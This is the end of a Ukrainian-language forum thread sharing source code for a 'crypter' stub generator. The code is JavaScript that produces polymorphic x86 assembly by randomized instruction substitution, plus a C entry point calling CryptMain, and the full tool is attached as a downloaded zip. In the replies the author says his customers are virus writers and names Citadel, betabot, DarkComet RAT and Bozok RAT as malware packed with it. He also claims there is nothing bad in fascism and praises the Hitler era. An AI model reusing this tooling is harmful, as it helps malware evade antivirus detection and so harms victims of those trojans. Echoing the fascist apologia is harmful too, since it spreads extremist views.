    add: function(i) { 
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num |= ((1 << i)>>>0); return(true);},
    remove: function(i) { 
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num &= ~ ((1 << i)>>>0) ; return(true);},
    toArrayIndex: function() {
        var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a)}, this); return(x); },
    toArrayIndexInverse: function() {
        var x = []; _.each(_.range(REG_EBP+1), function(a){ if (!this.has(a)) x.push(a)}, this); return(x); },
    toArrayNamesInverse: function() {return(_.map(this.toArrayIndexInverse(), function(x){ return (this.arrNames[x])}, this));},
    toArrayNames: function() {return(_.map(this.toArrayIndex(), function(x){ return (this.arrNames[x])}, this));},
    getInt: function () {return(this.num);},
    setInt: function (i) {this.num = i; return (true);},
    not: function() {this.num = ((~ this.num >>> 0) & 0x7f); return(true);}};

module.exports.SetRegister = SetRegister;
module.exports.SetRegister.prototype = SetRegisterProto;
SetRegister.prototype = SetRegisterProto;

function Registers() {
    var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'], 
    ['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
    this.container = []; this.used = new SetRegister();
    _.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};

RegistersProto = {

    objToIndex : function (a) {
    var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},

    arrIndexToArrObj : function (a) {
    if (_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) return(null); 
    return(_.map(a, function(x) { return(this.container[x]); }, this))},

    getIndexByName : function (sName){
    var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},

    getByIndex : function (i) { if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(null); return(this.container[i]);},

    getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },

    getArrFreeName : function () {return(this.used.toArrayNamesInverse());},

    getArrFreeObj : function (){return(_.filter(this.container, function(x) {return(!x.using);}, this));},

    getUsedIndex : function () {return(this.used.toArrayIndex());},

    getUsedNames : function() {return(this.used.toArrayNames());},

    getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayIndex()));},
    
    getFreeIndex : function(flags) {
        var  rs = this.getArrFreeObj(), r, res; 
        if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this); 
        if (!_.size(rs)) return(NaN); 
        r = arrRndValue(rs); 
        if (flags & LOCK_REG) r.lock(); 
        res = this.objToIndex(r);
        if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res); 
        return(res);
    },

    getFreeObj : function(flags) {
        var  rs = this.getArrFreeObj(), r; 
        if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this); 
        if (!_.size(rs)) return(null); 
        r = arrRndValue(rs); 
        if (flags & LOCK_REG) r.lock();
        if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r)); 
        return(r);
    }
}

module.exports.Registers = Registers;
module.exports.Registers.prototype = RegistersProto;
Registers.prototype = RegistersProto;

function Variable (sName, iSize) {
    this.name = sName; this.use = false; this.size = iSize;};

module.exports.Variable = Variable;

function Variables () {
    this.container = new Array();};
    
VariablesProto = {

    add : function (sName, iSize) { if (!sName) return(null); if (!iSize) iSize = 4; if (!this.isExists(sName)) return(this.container.push(new Variable(sName, iSize))); return(null); },

    isExists : function (sName) {
    return((!_.isUndefined(sName)) && (_.find(this.container, function(x){ return (x.name === sName) }, this)));},

    toString : function (sName) {
    return(_.reduce(_.shuffle(this.container), function (m, x) {return(m+'  local   '+x.name+this.getAsmType(x.size)+'\n')}, '', this));},

    getAsmType : function(i) {
    var obj = {'1':':Byte', '2':':WORD', '4':':DWORD', '8':':QWORD'}; if (_.isUndefined(i) || i < 1 || (!_.isNumber(i))) return(null);
    if (_.has(obj, i)) return(obj[i]); return ('['+i.toHex()+']:BYTE');},

    getSize : function() {
        return(_.reduce(this.container, function(memo, v) { return memo + alignBy (v.size, 0x4); }, 0, this));}
};

module.exports.Variables = Variables;
Variables.prototype = VariablesProto;
module.exports.Variables.prototype = VariablesProto;

//module.exports.Variables.ptototype = VariablesProto;
function ExecutionEnvironment(sName, sCallConv, arrParam) {
    var f;
    this.regs = new Registers(); this.vars = new Variables(); this.name = sName; 
    this.callconv = sCallConv;
    if (sCallConv == 'stdcall') { this.regs.container[REG_EBP].lock(); };
    this.tableCmd = [];
    f = function (p, f) {
        f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s], ['lea', p[0].s, '['+p[0].s+'+0x1]']][_.random(3)]); return(true);}
    this.tableCmd.push(['inc', ['r8'], 1, f]); 
    this.tableCmd.push(['inc', ['r16'], 1, f]); 
    this.tableCmd.push(['inc', ['r32'], 1, f]); 
    f = function (p, f) {
        f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s]][_.random(2)]); return(true);}
    this.tableCmd.push(['inc', ['m32'], 1, f]);
    f = function (p, f) {
        f.emit(['add', p[1].s, p[0].s]); return(true);};
    this.tableCmd.push(['add', ['c8', 'r8'], 2, f]); 
    this.tableCmd.push(['add', ['c16', 'r16'], 2, f]); 
    f = function (p, f) {
        f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); return(true);};
    this.tableCmd.push(['add', ['c32', 'r32'], 2, f]);
    f = function (p, f) {f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(1)]); return(true);}
    this.tableCmd.push(['add', ['r32', 'r32'], 2, f]);
    f = function (p, f) {
        f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(1)]); return(true);};
    this.tableCmd.push(['load', ['m32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['r32', 'm32'], 2, f]); 
    this.tableCmd.push(['load', ['r32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['c32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['c32', 'm32'], 2, f]);
    f = function (p, f) {
        f.emit(['push', p[0].s, ';', 'pop', p[1].s]); 
        return(true); };
    this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
    f = function (p, f) {
        f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]); 
        return(true); };
    this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
    f = function(p, f) { 
        f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]);
        return(true);
    };
    this.tableCmd.push(['checkz', ['r8'], 1, f]); 
    this.tableCmd.push(['checkz', ['r16'], 1, f]); 
    this.tableCmd.push(['checkz', ['r32'], 1, f]);
    f = function(p, f) {
        f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]); 
        return(true)
    };
    this.tableCmd.push(['loadz', ['r32'], 1, f]);
    f = function(p, f) { 
      var c;  
      if (([REG_ESI, REG_EDI, REG_EBP]).indexOf(p[1].i)>=0) {c = 0;} else {c = _.random(1);}
      if (c===0) { f.emit(['movzx', p[1].s,  p[0].s]); } else { f.cmd('loadz_r32', [p[1].i]); f.emit(['mov', f.toType('r8', p[1].i+REG_R8L).s, p[0].s]);} 
      return(true);};        
    this.tableCmd.push(['loadzx', ['m8', 'r32'], 2, f]);
    f = function(p, f) { 
        var c;  
        if (p[1].i in [REG_ESI, REG_EDI, REG_EBP]) {c = 0;} else {c = _.random(1);}
        if (!c) {f.emit(['movzx', p[1].s,  p[0].s]); } else { f.cmd('loadz_r32', [p[1].i]); f.emit(['mov', f.toType('r16', p[1].i+REG_R16).s, p[0].s]);} 
        return(true);};        
    this.tableCmd.push(['loadzx', ['m16', 'r32'], 2, f]);
    f = function(p, f) {
        var r;
        if (_.random(1)) {
            f.emit(['cmp', p[1].s, p[0].s]);
        } else {
            r = f.getFreeReg(LOCK_REG); 
            f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
            f.emit(['cmp', r.s, (p[0].i).toHex()]); 
            r.o.unlock();
        }; 
        return(true);
    };
    this.tableCmd.push(['check', ['c16', 'm16'], 2, f]); 
    f = function(p, f) { 
        f.emit(['cmp', p[1].s, p[0].s]); return(true); };
    this.tableCmd.push(['check', ['c32', 'm32'], 2, f]); 
    this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
    this.tableCmd.push(['check', ['r32', 'm32'], 2, f]);
    this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
    this.useForResult = null; this.params = arrParam; this.code = ''; this.settings = {fTrashGen: false}; this.depth = 0;
};

ExecutionEnvironmentProto = {
    emit : function (line) {
    ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
    _.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax); 
    this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s='    '+pad(x[0], 8); 
    if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},

    finalize : function(r) {
    if (this.callconv == 'stdcall') {
        var sResultType, bSaveUsedRegs = _.random(1), optimize = _.random(1);
        regz = this.regs.getUsedIndex();
        if (bSaveUsedRegs && _.isNumber(this.useForResult)) {
            if (this.useForResult == REG_EAX && optimize ) {this.regs.used.remove(REG_EAX);} 
            else { this.vars.add('iResult'); this.cmd('load_r32$m32', [this.useForResult, 'iResult']); }; 
        } else { 
            this.vars.add('iResult');
            if (_.isNumber(this.useForResult)) {this.cmd('load_r32$m32', [this.useForResult, 'iResult']);} else {
                if (!this.vars.isExists(this.useForResult)) {this.cmd('load_m32$m32', [this.useForResult, 'iResult']);};};
        };
        if (bSaveUsedRegs) {
            this.depth = _.size(this.regs.getUsedNames())*4;
            console.log('DEPTH1 = '+this.depth.toHex());
            this.code = _.reduce(this.regs.getUsedNames(), function(memo, i) {return('    push    '+i+'\n'+memo+'    pop     '+i+'\n');}, this.code, this);}
        else { this.depth = 0x20; console.log('DEPTH1 = '+this.depth.toHex()); this.code = '    pusha\n'+this.code+'    popa\n';};
        console.log('DEPTH1 = '+this.depth.toHex());
        this.depth += this.vars.getSize()+0x8+_.size(this.param)*0x4;
        console.log('VARSIZE = '+this.vars.getSize().toHex());
        console.log('DEPTH2 = '+this.depth.toHex());
        if (!(optimize && bSaveUsedRegs && this.useForResult === REG_EAX)) {this.cmd('load_m32$r32', ['iResult', REG_EAX]); };
        this.code = 'proc    '+this.name+' '+this.params.join(', ')+'\n'+this.vars+this.code+'    ret\nendp\n';
//        this.depth = 
        return (true);};
    return(false);},

    setUseForResult : function(r) { return ((_.isString(r)||_.isNumber(r))?(this.useForResult = r)|true:false) },

    toString : function () {return(this.code);},

    toType : function(t, v) {
      var getRSZ, isMem, toMem, toReg, oTableType; getRSZ = function(a) { return((a>>3)&3); };
      isMem = function (a){ return(_.isString(a) ? '['+a+']': null); };
      toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; if (_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i))) 
      return(null); if (_.has(obj, i)) return({s:obj[i]+' '+p, o: null, i:null}); return(null); }
      toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
      oTableType = {
        'm32': function (p, ee) {return(toMem(p, MEM32));}, 
        'm16': function (p, ee) {return(toMem(p, MEM16));}, 
        'm8':  function (p, ee) {return(toMem(p, MEM8));}, 
        'r32': function (p, ee) {return((_.isUndefined(p) || (p<REG_EAX) ||p>REG_EBP) ? null:toReg(p, ee));},
        'r16': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee));},
        'r8': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee))},
        'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
        'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
        'c8': function (p, ee)  { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )}
      };
      return(_.has(oTableType,t)?oTableType[t](v,this):null);
    },

    cmd : function(name, params) {
        var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
        if ((!c)||(!_.isFunction(c[3]))) return(false); _.each(c[1], function (x, i) { var v = this.toType(x, params[i]); 
        if (v) p.push(v);}, this); if (_.size(p)!==c[2]) return(false); c[3](p, this); return(true);},
    
    getFreeReg: function(f) {
    return(this.toType('r32', this.regs.getFreeIndex(f)));}};

module.exports.ExecutionEnvironment = ExecutionEnvironment;
module.exports.ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
ExecutionEnvironment.prototype = ExecutionEnvironmentProto;

settings.js

var fs = require('fs');
module.exports.DATAPLACE_GENERATE = DATAPLACE_GENERATE = 0x1;
module.exports.DATAPLACE_DATASECT = DATAPLACE_DATASECT = 0x2;
module.exports.DATAPLACE_CODESECT = DATAPLACE_CODESECT = 0x3;
module.exports.DATAPLACE_RESOURCE = DATAPLACE_RESOURCE = 0x4;
module.exports.settings = null;

module.exports.readSettings = function (fn) {
  console.log(fn+'\n');
  module.exports.settings = JSON.parse(fs.readFileSync(fn));
}

module.exports.saveSettings = function (fn, depth, time, offset) {
    module.exports.settings.stackdepth = depth;
    module.exports.settings.datatime = time;
    module.exports.settings.loadpe.offset = offset;
    fs.writeFileSync(fn, JSON.stringify(module.exports.settings));
}

entry.c

#define LEAN_AND_MEAN
#pragma lib "kernel32.lib"
#pragma lib "user32.lib"

#include <windows.h>
#include <stdlib.h>

extern void WINAPI CryptMain(void);

int CALLBACK WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  CryptMain();
  return(0);
}
Post's attachments

StubGenerator.zip 70.36 kb, 880 downloads since 2015-01-02 

Подякували: leofun011

5

Re: [Джерельний код] Криптор

Перепрошую, По офтоплю в один пост;
вражають приємні закарлючки кодування, особливо platform.js
Пане 0xDADA11C7, то що ви згідно цитати місцевий хакер та вірусописець :) ?

Криптор (від англ. Cryptor — шифрувальник) — назва ряду програм для криптозахисту виконуваних файлів. Використовуються переважно вірусописцями й хакерами для маскування шкідливого програмного забезпечення.

Подякували: A.N.Onim1

6

Re: [Джерельний код] Криптор

Особисто в мене і підпис ваш, 0xDADA11C7, викликає не слабке здивування (хоча це начебто було пояснено як "іронія"), і рід занять - вірусописець, причому гордий своєю справою...

Мене, як психолога-любителя, в зв'язку з цим цікавить одне питання "Чому?". Ви не вважаєте негативними явищами гітлера та написання вірусів? Чи, наприклад, вибірковість зараження вірусами для вас має значення, і не всі повинні їх підхоплювати?

7

Re: [Джерельний код] Криптор

Анатолій, Криптором можна і нормальні розробки захищати від зворотньої розробки (принаймні ускладнити її), наприклад Ваші варезні додатки від кракерів чи таблетковиготовлювачив.

8

Re: [Джерельний код] Криптор

Анатолій написав:

Пане 0xDADA11C7, то що ви згідно цитати місцевий хакер та вірусописець :) ?

Згідно цитати - вони мої замовники  8)

9

Re: [Джерельний код] Криптор

ktretyak написав:

Мене, як психолога-любителя, в зв'язку з цим цікавить одне питання "Чому?". Ви не вважаєте негативними явищами гітлера та написання вірусів? Чи, наприклад, вибірковість зараження вірусами для вас має значення, і не всі повинні їх підхоплювати?

Оскільки я хочу суспільних змін, а ще з часів Сталіна вся опозиція таврується "фашизмом", то вважаю за потрібним розповісти, що нічого поганого в "фашизмі" нема. Це не стосується історії взагалі, як і аргументація опонентів :)

Прихований текст

З іншого боку я цілком усвідомлюю, що стіки економічої свободи, як за Гітлера, ми бачили тільки на картинках і Chemist-i на ютубному каналі Балашова. Економічні свободи, розбудова інфраструктури любо моєму серцю.

http://upload.wikimedia.org/wikipedia/uk/4/4b/Reichskommissariatukraine-uk.png

Хоча от Ерік Кох виявився рідкісною падлюкою і співпрацював з комуняками.

Щодо написання вірусів, то тут цікавить саме економічні свободи, культурний простір і коло спілкування.
Як тільки буде можливість - піду робити бойових роботів і люструвати ментів, але до цього ще треба дійти. Скоріш за все наповнення цього розділу буде за наступним ланцюжком - хак - геймдев - осдев

Подякували: morgot, leofun012

10

Re: [Джерельний код] Криптор

Chemist-i написав:

Анатолій, Криптором можна і нормальні розробки захищати від зворотньої розробки (принаймні ускладнити її), наприклад Ваші варезні додатки від кракерів чи таблетковиготовлювачив.

Дякую, за роз'яснення, (криптор - шифрування ресурсів, ок); для мого рівня це ще рано, але корисно знати що таке є, через рік чи пізніше розгляну матеріал.
але я нажаль на такому рівні веб-розвитку розвитку, що не розумію що таке " варезні додатки кракерів чи таблетковиготовлювачив"?

А ще в пана HetmanNet-а зустрів :)

Ні, бо я бубонтоголовий
Так, бо я бубонтоголовий

що він цим хотів сказати, що людина дуже розумна чи навпаки слабка на розум :) :) :)

11

Re: [Джерельний код] Криптор

Ваші варезні додатки від кракерів чи таблетковиготовлювачив
...
бубонтоголовий - (сленг HetmanNet only) Користувач ОС Лінукс Убунту (Бо ГетьманНет вважає, що Убунту не лінукс)

Подякували: Анатолій1

12 Востаннє редагувалося Анатолій (03.01.2015 20:44:36)

Re: [Джерельний код] Криптор

0xDADA11C7 написав:

Оскільки я хочу суспільних змін, а ще з часів Сталіна вся опозиція таврується "фашизмом", то вважаю за потрібним розповісти, що нічого поганого в "фашизмі" нема. Це не стосується історії взагалі, як і аргументація опонентів :)

.....

Хоча от Ерік Кох виявився рідкісною падлюкою і співпрацював з комуняками.

Щодо написання вірусів, то тут цікавить саме економічні свободи, культурний простір і коло спілкування.
.....

Я особисто теж за свободи, зростання Особистості та її Нації, без пригнічення своїх народів-сусідів.
А до історії ставлюсь , що було то було, і ніхто не скаже чи до кращого, чи до гіршого могло привести інший розвиток подій Великої Вітчизняної.
Зараз я знаю/чув, що історію переписують великі люди світу цього, подають її у вигідному для себе світлі, і хто правий хто ні,- наразі я сказати не можу. В мене не має бажання  витрачати свій час на дослідження саме достовірної історії, та й ще може бути такий варіант, як не має доброї та злої історії, погані та хороші, так що виходить з якої сторони подивитись на історію.
Питання "- Що тобі дасть знання достовірної історії?"
- Моральне зростання, перевага над іншими. - Можливо і іншим чином зростати.
- Повага до історії свого краю.- Цей варіант був би прийнятним для мене, але нажаль, я її не знаю.

13

Re: [Джерельний код] Криптор

Анатолій написав:

народів-сосідів

По фрейду.

14

Re: [Джерельний код] Криптор

По фрейду.

Ваш "фрейд" позинається з малої літери. Щоб він про це сказав?

Подякували: A.N.Onim1

15

Re: [Джерельний код] Криптор

0xDADA11C7 написав:

По фрейду.

Ваш "фрейд" позинається з малої літери. Щоб він про це сказав?

"Іронія" пане, він би сказав "Іронія" (саме так)

16

Re: [Джерельний код] Криптор

Зізнавайтесь,яке шкідливе пз криптували цією штуковиною? :)

17

Re: [Джерельний код] Криптор

VTrim написав:

Зізнавайтесь,яке шкідливе пз криптували цією штуковиною? :)

Ви ж самі бачити, hello.exe і calc.exe
Ну якщо hello.exe не така шкідлива програма, то віндузовський калькулятор.... =)

Подякували: leofun011

18

Re: [Джерельний код] Криптор

VTrim написав:

Зізнавайтесь,яке шкідливе пз криптували цією штуковиною? :)

Citadel, betabot, DarkComet RAT, Bozok RAT, ...

Подякували: leofun011

19

Re: [Джерельний код] Криптор

За вами вже виїхали. :D

20 Востаннє редагувалося Kane (04.01.2015 12:25:49)

Re: [Джерельний код] Криптор

Прихований текст

З такими темпами доведеться змінити назву та профіль форуму (ну там Replace Hack Group) xD

п.с. до речі, були два подібної тематики, україномовних: hackua.com та hackzona.com.ua.